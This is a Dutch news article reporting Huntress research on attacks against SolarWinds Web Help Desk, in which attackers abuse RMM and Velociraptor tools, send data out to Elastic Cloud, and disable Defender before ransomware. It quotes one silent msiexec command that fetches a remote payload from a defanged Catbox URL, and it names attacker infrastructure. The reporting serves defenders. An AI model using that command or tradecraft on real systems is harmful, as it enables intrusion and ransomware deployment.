Onderzoekers op het gebied van beveiliging hebben actieve aanvallen op SolarWinds Web Help Desk gedetecteerd. Aanvallers maken gebruik van kwetsbaarheden om toegang te krijgen tot systemen en gebruiken forensische tools als command-and-control infrastructuur. De aanval eindigt met het voorbereiden van systemen voor het inzetten van ransomware. Onderzoekers van Huntress zagen vorige week aanvallen die begonnen bij een gecompromitteerde SolarWinds Web Help Desk-instance. De aanval begon met wrapper.exe, de WHD-service wrapper, die java.exe opstartte. Dit Java-proces startte vervolgens cmd.exe om stilletjes een externe MSI-payload te installeren via het commando msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi. De aanvaller gebruikte Catbox om een Zoho ManageEngine RMM-agent te plaatsen. Deze legitieme remote management-tool wordt vaak misbruikt voor toegang tot gecompromitteerde omgevingen. De Zoho Assist-agent was geconfigureerd voor onbeheerde toegang, waarbij de gecompromitteerde host werd geregistreerd bij een Zoho Assist-account gekoppeld aan het Proton Mail-adres esmahyft@proton[.]me.

Direct na de installatie van de RMM-agent begon de aanvaller met directe activiteit. Via het RMM-agentproces (TOOLSIQ.EXE) voerde de aanvaller Active Directory-verkenningscommando's uit om machines te inventariseren. Kort na de eerste verkenning implementeerde de dreigingsactor Velociraptor op de gecompromitteerde host. Deze open source digital forensics- en incident response-tool werd geïnstalleerd via een stille MSI-uitvoering vanuit een door de aanvaller gecontroleerde Supabase storage bucket. Velociraptor is ontworpen om verdedigers te helpen met endpoint monitoring en artefactverzameling. De functies voor remote command execution en procesuitvoering via VQL-queries maken het echter net zo effectief als C2-framework wanneer het naar door aanvallers gecontroleerde infrastructuur wijst. De aanvaller gebruikte Velociraptor versie 0.73.4, een bekende verouderde versie met een privilege escalation-kwetsbaarheid die ook in eerdere campagnes is waargenomen. De Velociraptor-server-URL maakt gebruik van een Cloudflare Worker van hetzelfde Cloudflare-account dat eerder werd gezien bij meerdere intrusies met ToolShell-exploitatie en Warlock ransomware-implementatie. Met de Velociraptor-agent geïnstalleerd als Windows-service begon de aanvaller een snelle reeks gecodeerde PowerShell-commando's uit te voeren. Dit patroon is consistent met Velociraptor's standaardmethode voor het uitvoeren van PowerShell op endpoints, waarbij commando's base64-gecodeerd worden (UTF-16LE) om problemen met speciale tekens te vermijden. Tijdens het eerste verkenningsproces voerde de aanvaller een PowerShell-script uit dat uitgebreide systeeminformatie verzamelt en deze rechtstreeks naar een door de aanvaller gecontroleerde Elastic Cloud-instantie stuurt. Het script draait de PowerShell-cmdlet Get-ComputerInfo, die gedetailleerde systeeminformatie retourneert, waaronder OS-versie, hardwarespecificaties, domeinlidmaatschap en geïnstalleerde hotfixes. De data wordt vervolgens als NDJSON geformatteerd en naar een Elasticsearch systeminfo-index gepusht via de Bulk API met een hardcoded API-sleutel. Het gebruik van Elastic Cloud als data-collectiebackend is een opvallende tradecraft-keuze. De aanvaller heeft in feite een eigen SIEM gebouwd met Elastic. Elk gecompromitteerd systeem rapporteert zijn volledige systeemprofiel aan een gecentraliseerde Elasticsearch-instance die de operator op schaal kan doorzoeken via Kibana. De aanvaller installeerde vervolgens Cloudflare-tunnels rechtstreeks vanaf de officiële release-URL van GitHub. Dit biedt een extra tunnel-gebaseerd kanaal naast de bestaande Velociraptor C2-verbinding. Na een pauze van ongeveer 84 seconden schakelde de aanvaller beveiligingscontroles uit via registerwijzigingen. Ongeveer een seconde na het uitschakelen van Defender downloadde de aanvaller een nieuwe kopie van de VS Code-binary van een Supabase-bucket.